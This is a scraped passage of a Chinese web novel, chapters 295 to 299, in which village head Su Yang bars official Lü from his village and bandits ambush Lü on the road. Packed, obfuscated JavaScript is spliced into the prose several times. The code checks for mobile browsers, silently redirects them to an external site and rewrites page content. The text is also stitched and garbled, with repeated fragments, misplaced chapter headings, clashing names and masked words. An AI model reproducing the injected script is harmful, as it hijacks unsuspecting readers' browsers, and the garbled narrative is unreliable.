“这个……小的们真不清楚啊!大人未表态,我们哪儿敢问啊?” 苏阳看得出,这两个差役确实不知情。 “行了,你们回去吧。” 苏阳挥了挥手。 两个差役对视一眼,有些摸不着头脑。 这就完了? 您倒是给个准话啊,去还是不去,我们也好回去交差不是? 苏阳没再理会他们,直接让几个卫村队员把他们“请”了出去。 “赶紧走,路上可得小心点!最近我们这儿不太平,闹土匪,别再碰上了!” 临走,一个卫村队员还好心提醒了一句。 两个差役一听这话,吓得腿都软了,哪还敢多问,一溜烟地跑没影了。 “阳哥儿,您真打算去镇上?” 陈木生看着苏阳,脸上写满了担忧。 吕巡检点名让苏阳带人过去,这事儿怎么看都不像是好事。 “你说呢,石头?” 苏阳没有直接回答,而是把问题抛给了陈木生。 “这……” 陈木生顿时就后悔了,真想给自己一巴掌。 让你多嘴! 旁边几个小子想笑又不敢笑,憋得脸都红了。 “都别光顾着看热闹,大伙儿都好好想想,我这次犹豫要不要去?” 苏阳一句话,所有人都傻了眼。 只有孔远山早有心理准备,抢着说道: “阳哥儿,咱都听您的!您说去,咱就抄家伙跟着,您说不去,谁来请也没用!” 话音未落,孔远山的屁股上就挨了苏阳一脚。 “少跟我耍小聪明!”苏阳瞪了他一眼。 孔远山捂着屁股,一脸的委屈。 凭啥啊! 陈木生那么说的时候,您怎么不踹他? 众人再也忍不住,哄堂大笑起来。 苏阳这次可不是闹着玩的,非要让大家伙儿都说说自己的看法。 见苏阳一脸认真,谁也不敢再马虎,一个个都绞尽脑汁地思考起来。 还真别说,这一认真琢磨,各种各样的想法都冒了出来: “阳哥儿,我觉得您不能去,至少现在不能去。万一您前脚刚走,顾明远那伙土匪就来偷袭青龙村,那可咋办?” “阳哥儿,我觉得您还是去一趟比较好。毕竟吕巡检是咱们的顶头上司,要是不去,万一他给您穿小鞋,把您的村正给撸了,那可就亏大了。” “阳哥儿,我觉得咱该去!去会会那个姓何的,看看他葫芦里到底卖的什么药!要是他敢耍什么花样,咱们就……” 周阳说着,做了一个抹脖子的动作,狠辣之意溢于言表。 众人倒吸一口凉气,这周阳,真是够狠的! 怪不得他来得晚,却能得到苏阳的赏识,这份胆识就不是一般人能比的。 以后得好好跟他学学!苏阳听完手下这帮小子的各种说法,既没说去三溪镇,也没说不去,只是坐在那里,一言不发。 屋子里静悄悄的。 一众小子你看看我,我看看你,谁也不知道自家阳哥儿葫芦里卖的什么药。 苏阳就是要吊着他们,让他们自己多动动脑子。 只有这样,这帮家伙才能更快成长起来。 日头渐渐升高,几辆满载砖瓦的大车吱呀吱呀进了村。 傍晚时分,运粮食的大车也到了。 可偏偏,顾明远的人没来。 吕巡检那边,也没个动静。 苏阳依旧是那副雷打不动的样子,仿佛天塌下来都跟他没关系。 一众小子可就坐不住了。 终于,熬到了饭点儿。 呼啦一下,所有人都围了过来,七嘴八舌地问开了: “阳哥儿,咱到底去不去三溪镇啊?” “吕巡检那边要是怪罪下来,可咋整?” “实在不行,咱去县里告他顾明远一状吧!就说他是青虎岭的漏网之鱼!” 各种声音吵得人脑仁疼。 苏阳也不急,先是夹了一块红烧肉搁嘴里,吧唧吧唧嚼着。 又拿起一个白馒头,咬上一大口,那叫一个香。 等把肚子填了个半饱,他才开了口: “我咋说来着?遇事别慌!要稳!啥叫稳,都忘了?” 一众小子差点没憋住翻白眼。 谁不知道要稳啊?可眼下这事,能稳得住吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“咋了?都哑巴了?” 苏阳一瞪眼。 “阳哥儿,我觉得这事儿不简单。 第二百九十五章 ” 周阳说道。 “哦?怎么个不简单?” 苏阳问道。 “你想啊,吕巡检那边刚派人来找你,周麻叔就得到了萧煞的消息,这也太巧了吧?” 周阳分析道。 “嗯,有道理。” 苏阳点了点头。 “我觉得,这可能是个圈套。” 陈木生也说道。 “圈套?谁设的圈套?” 孔远山问道。 “还能有谁?肯定是吕巡检和顾明远呗!” 陈木生说道。 “他们想干啥?” 孔远山还是不明白。 “笨!这还用问?肯定是想借刀**呗!” 陈木生一拍大腿。 “借刀**?借谁的刀?杀谁?” 孔远山更糊涂了。 “你……我真是服了你了!” 陈木生被孔远山气得直翻白眼。 “行了,都别吵了!” 苏阳打断了众人的争吵。 “这事儿,我自有主张。你们几个,把这个给我念一遍!” 苏阳说着,从怀里掏出一张纸,递给了一众小子。 一众小子接过来一看,顿时傻眼了。 这纸上写的啥,他们一个字也不认识啊! “阳哥儿,这……这是啥啊?” 孔远山挠着头问道。 “这是我刚写的一封信。” 苏阳说道。 “信?给谁的信?” 陈木生问道。 “给你们的信!” 苏阳没好气地说道。 “给俺们的信?可俺们不认字啊!” 孔远山哭丧着脸说道。 “不认字就学!我给你们两个时辰,把这封信给我背下来!谁要是背不下来,今天晚上就别吃饭了!” 苏阳下了死命令。 一众小子一听,顿时叫苦连天。 两个时辰? 背一封信? 这比杀了他们还难受啊! 可是,苏阳的命令,他们又不敢不听。 没办法,只好硬着头皮学吧! 一时间,院子里响起了一阵阵磕磕巴巴的读书声。 …… 三溪镇。 吕巡检的府邸。 “你说什么?苏二那小子还没来?” 吕巡检瞪着眼睛问道。 “是啊,巡检老爷,那小子说青龙村闹土匪,他走不开。” 一个差役战战兢兢地回答道。 “放屁!他那是借口!我看他就是不想来!” 吕巡检气得一拍桌子。 “那……那怎么办?” 差役小心翼翼地问道。 “怎么办?凉拌!” 吕巡检没好气地说道。 “对了,顾明远那边有什么动静?” 吕巡检突然问道。 “回巡检老爷,顾明远派人给苏二送了一封信。” 差役回答道。 “信?什么信?” 吕巡检眼睛一眯。 “小的不知,不过,小的听说,那信好像是跟青虎岭的麻当家萧煞有关。” 差役说道。 “萧煞?” 吕巡检的脸色变得凝重起来。 他没想到,顾明远竟然跟萧煞有联系。 这可不是个好兆头。 “看来,得想个法子,把这几个家伙都给除了!” 吕巡检眼中闪过一丝杀机。 他可不想自己的脑袋,被这几个家伙给摘了去。“阳哥儿,顾明远的手下来了,说有要紧事找你。” “哦?” 苏阳眼角一挑,余光瞥见石头几个正紧张地盯着自己,心中暗笑: “嘿,正愁怎么把戏做足,这不,‘贵人’就到了?” “阳哥儿,可不能信顾明远那孙子!” 石头攥紧了拳头,指节因为用力而微微发白。 “没错,阳哥儿,”毕明志也急了,上前一步,粗声粗气地说,“土匪的话哪能信?八成是想把你诓出去,替青虎岭那帮兔崽子报仇!” “就是,阳哥儿,”一个年轻些的后生也忍不住帮腔,声音里带着一丝颤抖,“要不让我去把顾明远那狗腿子宰了,让他见识见识我们村的实力!” “……” 苏阳微微眯起眼睛,扫视了一圈这些或紧张、或担忧、或义愤填膺的面孔。 他当然知道这些小子们在担心什么。 不过,他等的“大戏”,终于要开锣了! …… 再说清阳县的顾明远,这几天的日子,那可真是水深火热。 前些日子,他左拥右抱两个千娇百媚的小妾,把酒言欢,那叫一个赛神仙。谁知,酒里竟然被人下了毒! 两个美妾,当场没了一个,另一个虽然捡回条命,却也只剩半口气,整日在床上哼哼唧唧,跟猫叫似的。 顾明远也没好到哪去,在床上躺了好几天,鬼门关里走了一遭,这才缓过劲来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他做梦也没想到,自己前脚刚出三溪镇,后脚就遇上了萧煞这伙杀神。 这不明摆着有人通风报信吗? 三溪镇里,一定有土匪的内应! “来人,去,把苏二给我叫来!他要是不来,以后就永远别想踏进我何家的大门!” 吕巡检气急败坏地吼道,声音嘶哑得像破锣。 第二百九十六章 他现在是又惊又怕,又怒又恨。 惊的是萧煞的凶残,怕的是自己的小命。 怒的是郑县尉的阴险,恨的是苏阳的不识抬举。 他已经顾不上那么多了,只想赶紧找个靠山,保住自己的性命。 至于苏阳肯不肯来,吕巡检已经没心思去想了。 他现在就像一个溺水的人,哪怕是根稻草,也要死死抓住。 …… 奉命去请苏阳的两个差役,在青龙村吃了闭门羹。 苏阳连面都没露,只让手下传了句话:他带人剿匪去了! 两个差役傻眼了,这可怎么回去交差? 思来想去,两人一拍即合,找了个背风的地方,往地上一躺,先睡他个天昏地暗再说。 至于回去怎么交代? 说是被山贼给劫走了,看谁能把他们怎么样! …… 再说苏阳,这些日子可没闲着。 他深知山雨欲来风满楼,必须抓紧时间练兵,以应对随时可能发生的变故。 练兵,不仅要练体能,还要练脑子。 苏阳亲自上阵,一边示范,一边讲解。 他这么一搞,石头和毕明志等人才真正开了眼,知道了什么叫差距。 就拿一个简单的格挡动作来说,苏阳做起来,干净利落,新来的小子们也能学个七八分像。 可要是换成石头他们,那简直就是鸡同鸭讲,费了半天劲,也说不到点子上。 一个个急得抓耳挠腮,却又无可奈何。 “阳哥儿,你这都是咋练的?教教我们呗!” 石头终于忍不住了,涎着脸问道。 苏阳白了他一眼,没好气地说: “这有啥难的?想当年,我在书院里,哪次上体育课不练这些?你们要是也能读个十年书,保管比我还强!” “读书?” 石头一听,顿时像泄了气的皮球,蔫了。 “阳哥儿,你就别拿我们开涮了。我们几个,哪是读书的料?” 毕明志也苦着脸说。 自从苏阳收了顾明远的信,他们的“好日子”就到头了。 原先一天认五个字,现在直接加倍,要认十个! 这简直比杀了他们还难受。 几个小子愁眉苦脸,唉声叹气,一个个都快把头发给愁白了。“**,姓肖的这**,早晚有一天老子要亲手摘了他的脑袋!” 孔远山狠狠啐了一口,骂骂咧咧。 其他几个小子也是一脸晦气,极不情愿地跟在苏阳身后。 没办法,谁让他们怕了呢。 自从跟了苏阳,但凡收到顾明远的信,苏阳总要逼着他们认字。 美其名曰,不能当睁眼瞎。 上一次,为了那几个鬼画符,他们就折腾得死去活来,差点没把脑袋给挠秃了。 要是又来一回…… 几个小子互相看了看,都从对方眼中看到了深深的恐惧,简直不敢想! 真是怕什么来什么。 顾明远的那个亲信,还真就拿着信来的。 远远看见那熟悉的信封,几个小子的眼睛都红了,像是饿了三天三夜的狼,恨不得立刻冲上去,把信抢过来丢到火盆里烧个干净。 “都**给老子老实点!” 苏阳一声低吼,几个小子顿时像被掐住脖子的鸭子,蔫了。 苏阳接过信,拆开。 信里还是那些陈词滥调,什么萧煞残暴不仁,鱼肉百姓,除掉他是为民除害,是积德行善,能名垂青史…… 苏阳撇撇嘴,眼皮都没抬一下。 这样居高临下的冠冕堂皇,他上辈子听得耳朵都起茧子了。 说得再天花乱坠,没有真金白银,谁给你卖命? 空头支票,谁不会开? 苏阳把信纸揉成一团,随手丢到一边。 他抬起头,看向送信的土匪,嘴角勾起一抹玩味的笑: “回去告诉顾明远,别整这些虚的,直接开价!多少钱,能让萧煞从这世上消失?” 送信的土匪愣住了,他张着嘴,像一条搁浅的鱼。 “一……一万两……” 他下意识地回答,这是顾明远之前私下和他说过的数字。 说完他就后悔了,这不是把四当家的底给漏了吗? 苏阳像是看穿了他的心思,冷笑一声: “怎么,嫌少?你家四当家的小命,难道还不值一万两?” “不不不,小人的意思是……四当家没说过要对付麻当家啊!” 跑腿的大哥都要崩溃了,他感觉自己像是在走钢丝,稍有不慎就会掉进万丈深渊。 “哦?是吗?” 苏阳眯起眼睛, “那你回去问问顾明远,他到底想干什么。别以为我不识字,就可以随便糊弄。我可不是那些只会在衙门里喝茶看报的老爷!” “是是是,小人一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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更何况,苏阳已经看穿了他的心思,再想利用他,难如登天。 现在的问题是,这一万两银子,到底给还是不给? 给,他心疼。 第二百九十七章 不给,又怕苏阳真的翻脸。 思来想去,顾明远决定先稳住苏阳。 他咬咬牙,对钱四说: “麻烦您跑一趟青龙村,就说……银子的事情好商量,但要等事成之后才能付清。另外,让他给我透个底,他打算怎么对付萧煞。” 钱四苦着脸,心想这差事真不是人干的。 可他不敢违抗顾明远的命令,只能硬着头皮答应下来。 …… 苏阳这边,正和几个小子商量对策。 “阳哥儿,你说吕巡检那老小子,会不会真的来找咱们?” 孔远山问道。 “八成会。” 苏阳笃定地说, “他现在是泥菩萨过河,自身难保,肯定想拉咱们下水。” “那咱们怎么办?真要帮他对付萧煞?” 张小七有些担忧。 “帮个屁!” 苏阳冷笑, “咱们凭什么给他卖命?他给咱们什么好处了?上次剿匪,咱们出了多大力,他才给了多少赏钱?打发叫花子呢!” 几个小子纷纷点头,表示赞同。 “那……咱们就这么干等着?” 毕明志问。 “等着?等个屁!” 苏阳一拍桌子, “咱们得主动出击!他吕巡检不是想去西安府吗?咱们就给他加把火,让他走得更快些!” “阳哥儿,你的意思是……” 几个小子都来了精神。 “嘿嘿,你们等着瞧好吧!” 苏阳神秘一笑, “远山,你去把周二虎给我叫来!” …… 再说吕巡检。 他等得心急如焚,派出去的差役一个都没回来,这让他更加坐立不安。 “不行,不能再等了!” 吕巡检猛地站起身, “来人,备马!我要亲自去一趟青龙村!” 他已经顾不上那么多了,哪怕是刀山火海,他也得去闯一闯。 总比在这里等死强!吕巡检黑着脸,带着五十个土兵,气势汹汹地直奔青龙村。 他原本手底下有百来号人,可青虎岭一战,加上萧煞那厮半路截杀,零零散散折损了二十来个。 这回,吕巡检也算是下了血本,保障通行无虞,一口气带走了一半人马,仅剩三十余人守卫村庄。 要说之前去西安府,吕巡检为啥只带了十几个跟班? 一是为了掩人耳目,免得动静太大;二是西安府那地界,压根不归他管。 没上头的命令,他哪敢跨界调动这么多兵马?那是掉脑袋的事儿,一个不小心就得玩完! 更别说,他眼下正跟郑县尉斗得你死我活呢。 这节骨眼上,稍微出点岔子,就可能被人抓住把柄,扣上一顶**的帽子,那可就彻底玩完了。 可这回去青龙村,情况就大不一样了。 青龙村可是归三溪镇管的,说白了,那就是他吕巡检的地盘。 在自己的地盘上,他还不是想带多少人就带多少人? 十几里路,在吕巡检的催促下,不到两个时辰就赶到了。 可一看到青龙村那紧闭的大门,吕巡检的眼皮子就忍不住直跳。 看这架势,这村子八成是真被土匪给折腾惨了,不然谁家会大白天关着村门? “开门!巡检老爷驾到,命你们村长速来迎驾!”吕巡检扯着嗓子吼了一声,声音在空旷的野地里传出老远。 把守大门的护卫得知官爷到访,吓得一哆嗦,哪敢怠慢?扭头就往村里跑,那叫一个快。 不开门的原因?简单——不敢。 苏阳早就立下了规矩,不管是谁,哪怕是天王老子来了,没有他苏阳的命令,谁也不能开门! 这话可不是说着玩的,苏阳在祠堂里,当着全村老少的面,把话都说绝了:谁要是敢不听他的,坏了规矩,立刻卷铺盖滚蛋,全家老小一个不留! 现在村里人都知道,苏阳那可是说到做到的主儿。 卫村队员们更是被收拾得服服帖帖,谁还敢拿他的话当耳旁风? 其中一个卫村队员脚底抹油,跑去给苏阳报信。剩下几个,则战战兢兢地趴在墙头,冲着下面喊话: “各位官爷,行行好吧,咱家村长领队剿匪未归,俺们几个看门的,两眼一抹黑,啥也不知道啊!恐怕尔等是贼人乔装,那俺们几个可就没命了……” “放屁!睁大你们的狗眼看清楚,这是谁?大人驾到此地,谁敢冒充?”吕巡检的一个狗腿子指着吕巡检,朝着墙头破口大骂。 卫村队员心里虽然打鼓,可嘴上却不敢示弱: “各位官爷息怒,小的们当真不知大人身份,您就别为难俺们了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16514620|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” “**,你们这群狗东西,开不开门?再不开门,老子们可要硬闯了!”吕巡检的一个亲信,已经急不可耐,挥舞着拳头,就想往上冲。 “啊?你们……你们要硬闯?明白了,定是山匪冒充官差,想冒充巡检老爷诈开村门,对不对?”墙头上的卫村队员居然还“恍然大悟”。 吕巡检差点没被气晕过去。 这帮泥腿子的脑子是被驴踢了吗? 他们到底是怎么看出老子是假冒的? “都给老子听好了,开门!老子就是吕巡检!”吕巡检强忍着怒火,一字一顿地吼道。 守卫闻听大人道明身份,再仔细一瞅,可不是嘛! 几个人顿时吓得脸色发青,腿肚子都软了。 要不是苏阳积威太重,他们恐怕早就吓得开门了。 可一想到之前被苏阳收拾的那些人,几个卫村队员还是咬着牙,硬着头皮说道: “巡……巡检老爷,您……您多包涵,俺们几个……是真的不认识您,您还是请回吧,等……等俺们村正回来了,您再来!” 吕巡检这下是彻底被点燃了,怒火中烧。 好啊,真是反了天了! 老子堂堂一个巡检,跑到你这鸟不拉屎的地方,居然要等区区一个村长现身? 这事儿要是传出去,他吕巡检的脸还往哪儿搁? “来人啊,既然这帮刁民不开门,就给老子撞进去!”吕巡检大手一挥,下了命令。 “是!” 吕巡检手下的那些兵,早就憋了一肚子火。 大老远跑来,本以为能吃香的喝辣的。 结果呢?连口热茶都没混上! 这口气,搁谁身上能咽得下去? 当下,十几个土兵怪叫着就往前冲,准备直接把村门撞开。 可就在这时,村墙上突然冒出一排人头,紧接着,一排黑洞洞的**机,也跟着伸了出来: “站住!再往前走一步,格杀勿论!” 苏阳手下的那些小子,及时赶到了。 “我的娘啊……” 土兵们一看到**机,顿时吓得腿都软了。 他们想起了青虎岭的惨痛经历,一个个脸色煞白。 当初,青龙村的这帮泥腿子,就是用这些玩意儿,把青虎岭的那些**不眨眼的土匪,当成兔子一样给射了! 第二百九十八章 面对这帮比土匪还狠的角色,这些土兵哪还敢往前凑? 不用吕巡检吩咐,一个个都乖乖地往后退,生怕自己成了下一个被射成刺猬的倒霉蛋。 吕巡检的眼皮子跳得更厉害了,太阳穴突突直跳,仿佛随时都会爆开。 反了!真是反了! 一帮泥腿子,竟然敢拿**机对着他这个堂堂的巡检? 还有没有王法了? 可是,任凭吕巡检怎么发火,怎么怒骂,村子里的人就是咬**不松口,来来**就一句话:村正不在,看不出真假,诸事待村长归来再议。 看着那一排黑洞洞的**机,吕巡检是一点辙都没有。 他总共就带了五十个兵,又没有攻城锤之类的玩意儿,拿什么攻进去? “苏二,你小子给老子出来!再不出来,老子撤了你的村正!”吕巡检气得跳脚,开始指名道姓地威胁。 …… “阳哥儿,咋整?再不出去,那姓何的真要下黑手了!”张小七急得像热锅上的蚂蚁。 苏阳瞥了他一眼,慢悠悠地说: “慌什么?天塌下来了吗?还是地陷了?瞧你们一个个那没出息的样儿,不知道的还以为天兵天将打过来了呢!” “阳哥儿,俺不是怕,俺是担心你……”孔远山话还没说完,就被旁边的人给打断了。 “得了吧你,上次在清阳县,是谁被几个衙役吓得腿都软了?还好意思说不怕!”毕明志毫不留情地揭了孔远山的老底。 孔远山顿时涨红了脸,梗着脖子争辩: “那……那能一样吗?上次是老子没防备,这次……这次不一样!” “行了行了,都少说两句!”苏阳打断了他们的争吵, “不就是一个小小的巡检吗?有什么好怕的?他要是真敢撤了我的村正,我还得谢谢他呢!” “阳哥儿,你这是啥意思?”周阳挠了挠头,一脸的不解。 苏阳神秘一笑,没有直接回答,反而提高了声音,对着外面喊道: “吕巡检,您老人家日理万机,怎么有空到我们这穷乡僻壤来了?有啥事儿您吩咐一声,小的们能办到的,绝不含糊!” 吕巡检在村外等了半天,骂也骂了,威胁也威胁了,可青龙村的大门,却始终紧闭。 他和他手下的那些兵,早就没了脾气。 正当吕巡检准备带着人灰溜溜地离开时,却听到了苏阳的声音。 “苏二,你小子总算肯出来了!老子还以为你真要**呢!”吕巡检没好气地说道。 他本来还指望着到青龙村吃大户,结果吃了闭门羹,心里憋屈得不行。 原本他还打算,要是苏阳再不出来,他就真的撤了苏阳的村正,让苏阳后悔莫及。 现在看来,这招棋是走不成了。 “阳哥儿,那姓何的已经走了,咱们……”周阳凑到苏阳跟前,做了个手起刀落的手势。 其他小子也都摩拳擦掌,两眼放光:“阳哥儿,那姓何的可不是啥好鸟,把咱们当枪使,这口气,兄弟们可咽不下!” “是啊,阳哥儿,不给他点颜色瞧瞧,他还真以为咱们青龙村好欺负!” “阳哥儿,下令吧,兄弟们都听你的!” “……”苏阳觉得自己快要管不住手底下这帮小兔崽子了。 这才几天,一个个就跟吃了枪药似的,从刚开始还算老实的庄稼汉,变成了现在张嘴闭嘴就要**的愣头青。 “官府?算个鸟!” “弄死他们!” …… 听听,都开始不把官府放在眼里了,照这个趋势发展下去,怕是用不了多久,这帮小子就得琢磨着上虎岭了啊! “都**给老子闭嘴!” 苏阳猛地一砸桌子,杯子里的水都溅了出来: “你们这帮家伙,平时让你们动动脑子,一个个都干啥去了?吕大人带着一大群手下,真以为咱们能一口气全吞下?有命拿钱,得有命花才行!” “这……” 刚才还咋咋呼呼的小伙子们,一下子都蔫了。 是啊,吕巡检带的那些人可不是土匪,真把他们惹**了,万一跑掉几个回去报信,从县里调来大队人马,就凭青龙村这点人,**的都不知道! “还是阳哥儿厉害……” “听阳哥儿的,准没错!” …… 一时间,马屁声四起。 见过的世面多了,这帮小子就越是佩服苏阳。关键时刻,还得是阳哥儿啊!看问题就是比咱们全面,考虑的也比咱们周到,不服不行! …… 这边,苏阳正忙着给手底下这帮“不知天高地厚”的小子上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16514621|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼药。 另一边,青虎岭的麻当家萧煞,已经带着他的心腹手下,又一次杀气腾腾地出发了。 这一切,还得从吕巡检离开三溪镇说起。 吕巡检前脚刚走,顾明远安插在镇上的眼线,就跟屁股后头点了炮仗似的,一路狂奔回清阳县报信。 “报——顾四爷,吕巡检那老东西又带人出门了!” 顾明远一听,眼珠子一转,心想这老东西又想搞什么幺蛾子? 他把报信的眼线叫到跟前,仔仔细细地盘问了一遍。 从眼线的描述中,顾明远敏锐地捕捉到几个关键信息: 第一,吕巡检这次带的人马,比上次去西安府的时候要少。 第二,队伍行进的方向,好像是奔着青龙村去的。 第三,也是最重要的一点,吕巡检这次出门,脸上阴沉得能滴出水来,一看就没憋什么好屁。 综合这几点,顾明远心里就有数了。 他摸了摸下巴上的几根胡须,一个计划逐渐在脑海中成型。 之前吕巡检让苏阳带人去三溪镇,结果苏阳没去,这事儿在清阳县早就不是什么秘密了。 现在吕巡检带着人,气势汹汹地直奔青龙村,除了去找苏阳的麻烦,还能有什么? “嘿嘿,何老狗,天堂有路你不走,地狱无门你闯进来!” 顾明远咧嘴一笑,露出一口大白牙, “这回,老子要让你有来无回!” 他立刻派人去找萧煞。 此时的萧煞,正沉浸在温柔乡里,跟肥掌柜新弄来的一个丫鬟打得火热。 自从肥掌柜的小妾被他折腾死光了之后,这家伙就开始打丫鬟的主意了。 “麻当家的,好消息!” 顾明远强压着心头的怒火,尽量让自己的语气听起来欢快一些: “吕巡检那老东西又带人出发了,这次,咱们的机会来了!” 萧煞一听,顿时来了精神。 他最恨的就是吕巡检,做梦都想把这老东西**万段。 “在哪?” 萧煞抓起旁边的大刀,眼睛里闪着嗜血的光芒。 “去青龙村了!” “走!” 萧煞急匆匆地就往外走。 “麻当家,等等!” 顾明远叫住了他。 第二百九十九章 “怎么了?你个老东西又想出什么幺蛾子?” “麻当家,咱们这次不去青龙村。” 顾明远笑眯眯地说: “咱们给他来个半路截杀!” “半路截杀?” 萧煞一愣,随即哈哈大笑: “好!还是你这老东西鬼点子多!就这么办!” 顾明远虽然心里不爽,但面上还是笑嘻嘻的,没办法,人在屋檐下不得不低头。 这次,顾明远主动要求带路。 他倒不是不放心萧煞,主要是怕这莽夫坏了自己的大事。 虽说他身体已经好的差不多了,但为了计划成功,他觉得自己有必要亲自走一趟。 萧煞也没多想,就同意了。 毕竟,顾明远的脑子,他还是认可的。 一路上,快马加鞭。 眼看着离青龙村越来越近,萧煞却发现,顾明远带的路,好像有点不对劲。 “老四,你**搞什么鬼?去青龙村不是走这条路!” 萧煞勒住马,瞪着顾明远,一脸的怒气。 “麻当家莫急。” 顾明远赶紧解释: “咱们这是去抄近路,保证比吕巡检那老东西先到!” “抄近路?” 萧煞将信将疑,但也没再说什么,毕竟他对这附近的地形也不熟。 终于,在吕巡检带人返回之前,顾明远找到了一处绝佳的伏击地点。 这地方,一边是密林,沿途是卧龙峡谷,中间只有一条羊肠小道。 “麻当家,咱们就在这儿等着,保管让吕巡检那老东西插翅难逃!” 顾明远指着眼前的地形,信心满满地说。 萧煞点点头,对手下做了几个手势。 一帮人立刻散开,悄无声息地隐入了密林之中。 刚埋伏好,就有探子回来报告: “报——两位当家的,吕巡检的队伍回来了!不过……” “不过什么?” 顾明远眉头一皱,心里咯噔一下。 “不过,他们好像没跟青龙村的人打起来,一个个都好好的……” “什么?!” 顾明远差点没跳起来。 这……这**到底是怎么回事? 按照他的计划,吕巡检这次去青龙村,要么跟苏阳火拼一场,要么吃个闭门羹。 可现在,这老东西竟然毫发无损地回来了? 难道说,这中间出了什么变故? 他百思不得其解。 就在这时,吕巡检的队伍已经出现在了视野之中。 只见那些兵丁,一个个垂头丧气,无精打采,就跟霜打了的茄子似的。 也难怪,这群人饿着肚子出门的,又跟着吕巡检折腾了这么长时间,早就饿得前胸贴后背了。 吕巡检也没好到哪儿去,坐在马车里,脸色铁青。 他本来还指望着去青龙村捞点油水,结果连村门都没进去,还被苏阳那小子给耍了一道。 这口气,他怎么咽得下去? 可咽不下去又能怎么样? 难不成真带人去攻打青龙村? 别说他手底下这帮怂货,就算真能打下来,他也不敢啊! “妈的,晦气!” 吕巡检狠狠地啐了一口,心里憋屈得不行。 就在这时,异变陡生! “杀啊——” 震天的喊杀声,突然从旁边的密林中传来。 紧接着,就见萧煞带着一帮人,如同猛虎下山一般,猛扑了过来! “不好!有埋伏!” 吕巡检的亲兵队长大喊一声,赶紧拔刀护在了马车前。 可他一个人,又怎么挡得住如狼似虎的萧煞等人? 更何况,吕巡检手底下那些兵丁,早就被饿得没了力气,一个个手脚发软,连刀都快拿不稳了。 “杀——” 萧煞一马当先,挥舞着手中的大刀,左劈右砍,如入无人之境。 挡在他面前的兵丁,就跟纸糊的一样,一碰就倒,一砍就飞。 “姓何的,给老子滚出来!” 萧煞的目标很明确,就是吕巡检。 他一边**,一边朝着吕巡检的马车冲去。 眼瞅着就要冲到马车跟前,吕巡检的那些亲兵终于反应了过来。 “保护大人!” “拦住他!” 几个亲兵不要命地扑了上来,试图用自己的身体挡住萧煞。 可他们的螳臂当车,在萧煞面前根本就不够看。 “滚开!” 萧煞怒吼一声,手中的大刀抡圆了,直接将一个亲兵劈成了两半! 鲜血喷溅,染红了周围的地面。 剩下的几个亲兵,也被这血腥的场面吓破了胆,一个个愣在原地,不知所措。 “何老狗,受死吧!” 萧煞狞笑着,高高举起了手中的大刀…… “兄弟们,上,弄死这个老东西!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16518606|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 萧煞身后的一众土匪也呐喊着,直扑吕巡检。吕巡检这辈子顺风顺水,从未想过,自己竟会有今天这般狼狈的下场。 眼瞅着几个凶神恶煞的土匪,挥舞着明晃晃的家伙什儿朝自己扑过来,吕巡检只觉得一股寒气从脚底板直冲天灵盖,吓得他三魂七魄都飞了一半。 “驾!快!给老子快驾!” 吕巡检脸色煞白,声音都变了调,哪还有平日里半分官老爷的威风?他一边声嘶力竭地吼着,一边发疯般地用刀鞘去抽打拉车的马。 他现在什么官体都顾不上了,只想着赶紧逃离这个鬼地方! 可怜那拉车的马,平日里养尊处优,哪受过这等“伺候”? “唏律律——” 猛不丁挨了几下狠的,马儿吃痛不过,仰天长嘶一声,撒腿就是一顿狂奔,速度快得像一阵风。 几个土匪的兵刃纷纷落空,吕巡检险之又险地捡回了一条老命! “想跑?门儿都没有!” 暗中观察的顾明远,嘴角勾起一抹冰冷的弧度。 